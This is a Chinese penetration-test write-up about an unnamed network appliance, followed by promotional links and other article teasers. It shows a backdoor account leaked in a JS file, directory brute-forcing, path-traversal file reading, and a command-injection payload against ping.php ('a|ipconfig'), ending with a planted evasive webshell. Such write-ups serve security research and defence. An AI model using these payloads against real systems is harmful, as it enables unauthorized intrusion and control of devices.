某设备产品漏洞挖掘-从JS文件挖掘RCE

goji 发布于2021-11-24 09:39 / 1529人阅读

摘要：前言某次渗透过程中碰到了个设备产品，通过一些黑盒测试小技巧获取目标权限信息收集点击获取网络安全学习资料攻略多本网络安全系列电子书网络安全标准题库资料项目源码网络安全基础入门安全攻防方面的视频网络安全学习路线图首先拿到了

前言

某次渗透过程中碰到了个设备产品，通过一些黑盒测试小技巧获取目标权限

信息收集

【点击获取网络安全学习资料·攻略】

2000多本网络安全系列电子书
网络安全标准题库资料
项目源码
网络安全基础入门、Linux、web安全、攻防方面的视频
网络安全学习路线图

首先拿到了目标，同样也需要对设备进行信息收集，登录页面有滑块验证和账号密码请求包加密

暂时先放弃从JS里获取密码加密方法，先尝试找一些接口来获取信息，查看源代码

访问一下JS目录，这里有一个小技巧，当目录存在时会自动在后面加上 /, 例如浏览器访问 /js, 将会变成 /js/ 来访问

https://xxx.xxx.xxx.xxx/js

这里简单测试一下发现存在的目录可以通过判断403来确定目录存在，对下一步文件爆破提供帮助，这里使用Gobuster进行爆破

获取到的存在的目录信息

/js/ (Status: 403)/lan/ (Status: 403)/php/ (Status: 403)/images/ (Status: 403)/html/ (Status: 403)/vendors/ (Status: 403)/upload/ (Status: 403)

我们需要注意的为 js 与 php 目录下的文件，才可能存在突破口，首先爆破 js目录下的 js文件

获取后通过爬虫遍历 JS文件下载到本地翻阅，其中发现 /js/index.js 文件中有敏感信息，猜想可能是后门账号或者默认密码

拿着拿到的账号去登录一下试试

成功登录目标系统，用户为 administrator, 查看存在的用户发现这个可能是后门账户

漏洞挖掘

任意文件读取漏洞 (exportrecord.php)
目前我们以及获取到了目标的后台管理权限，且权限比较高，我们可以继续测试漏洞
之前爆破到了 php目录，猜测为功能性文件，我们可以通过 js文件中的信息获取一些文件名和接口信息

这里在 backup.js 文件中发现一个有关的下载接口

function downloadBak(index) {    var data = $("#backupList").bootstrapTable("getData");    if (index >= 0 && index < data.length) {        var downurl = "../php/exportrecord.php?downname=" + data[index].id;        window.open(downurl);    }}

猜测 downname参数为文件名，测试能不能下载文件

/php/exportrecord.php?downname=exportrecord.php

这里得到了 /php/exportrecord.php 文件

传入downname参数，没有对 …/ 符号过滤，就导致跳目录读取文件
现在我们有了一个任意文件读取，我们再通过目录爆破获取更多的PHP文件源码

远程命令执行漏洞 (ping.php)

通过刚刚到目录爆破我们看到一个非常值得注意的文件 ping.php，设备中常见的网络联通性测试文件，也是设备中常见的漏洞点, 通过文件读取漏洞读取文件

function systemopr($type, $ip, $times=4){     $info = array();          if (PATH_SEPARATOR==":" || DIRECTORY_SEPARATOR=="/"){           //linux           if($type == "0"){               exec("ping -c $times $ip", $info);           }else if($type == "1"){               exec("traceroute -m $times -w 1 $ip", $info);           }else{               exec($ip, $info);          }     }else{          //windows          if($type == "0"){               exec("ping $ip -n $times", $info);          }else if($type == "1"){               exec("tracert -h $times -w 1000 $ip", $info);          }else{               exec($ip, $info);          }     }     return $info;}?>

这里可以看到这里接收的参数 jsondata数组中的 ip参数，用户可控造成命令拼接，而且通过 exec 执行，并且会 return到页面中，导致回显的RCE

POST /php/ping.phpjsondata[ip]=a|ipconfig&jsondata[type]=1

目标为Windows系统，测试写入phpinfo文件

写入免杀并流量加密的Webshell，尝试获取目标设备权限

最后

点击查看【网络安全学习资料·攻略】，私信我获取网络安全学习资料

混合云服务器托管网站漏洞挖掘价格从数据分析到数据挖掘产品数据挖掘数据挖掘产品

文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。

转载请注明本文地址：https://www.ucloud.cn/yun/124690.html

渗透工具—反制爬虫之Burp Suite RCE

摘要：一前言是谷歌浏览器的无界面模式，通过命令行方式打开网页并渲染，常用于自动化测试网站爬虫网站截图检测等场景。本文以知名渗透软件举例，从软件分析漏洞挖掘攻击面扩展等方面进行深入探讨。一、前言 Headless Chrome是谷歌Chrome浏览器的无界面模式，通过命令行方式打开网页并渲染，常用...

不知名网友 2021-11-29 10:50 评论0 收藏0
黑客利用Atlassian Confluence RCE漏洞部署web shell 感染系统

摘要：在跨和的部署中，机会主义威胁行为者被发现积极利用最近披露的一个关键安全漏洞来部署，从而导致在受感染的系统上执行加密矿工。在今年月下旬公开披露该漏洞后，美国网络司令部警告称，在该漏洞公开后，可能会出现大规模的攻击。 .markdown-body{word-break:break-word;line-height:1.75;font-weight:400;font-size:15px;over...

Meathill 2021-10-08 10:05 评论0 收藏0
2018先知白帽大会 | 议题解读

摘要：摘要今年的先知白帽大会，与会者将能够亲身感受到非常多有趣的技术议题，如在国际赛事中屡夺佳绩的团队，其队长将亲临现场，分享穿针引线般的漏洞利用艺术。从数据视角探索安全威胁阿里云安全工程师议题解读本议题讨论了数据为安全人员思维方式带来的变化。摘要：今年的先知白帽大会，与会者将能够亲身感受到非常多有趣的技术议题，如HITCON在国际赛事中屡夺佳绩的CTF团队，其队长Orange将亲临现场...

Hydrogen 2019-06-21 16:46 评论0 收藏0
4月17日云栖精选夜读 | 在阿里做了五年技术主管，我有话想说

摘要：点击订阅云栖夜读周刊在历史文章如何成为优秀的技术主管中，阿里巴巴高级技术专家云狄从开发规范开发流程技术规划与管理三个角度，分享对技术的理解与思考。【点击订阅云栖夜读周刊】在历史文章《如何成为优秀的技术主管？》中，阿里巴巴高级技术专家云狄从开发规范、开发流程、技术规划与管理三个角度，分享对技术 TL 的理解与思考。热点热议在阿里做了五年技术主管，我有话想说作者：技术小能手发表在：...

hellowoody 2019-04-24 19:31 评论0 收藏0
安全漏洞与网络攻击

摘要：目录一安全漏洞及产生原因一安全漏洞及产生原因安全漏洞概念安全漏洞概念漏洞产生的技术原因漏洞产生的技术原因漏洞产生的经济原因漏洞产生的经济原因二信息收集与分析二信息收集与分析攻击的过程攻击的过程信息收集攻击的前目录一、安全漏洞及产生原因 1. 安全漏洞概念 2. 漏洞产生的技术原因 3. ...

Prasanta 2021-10-08 10:04 评论0 收藏0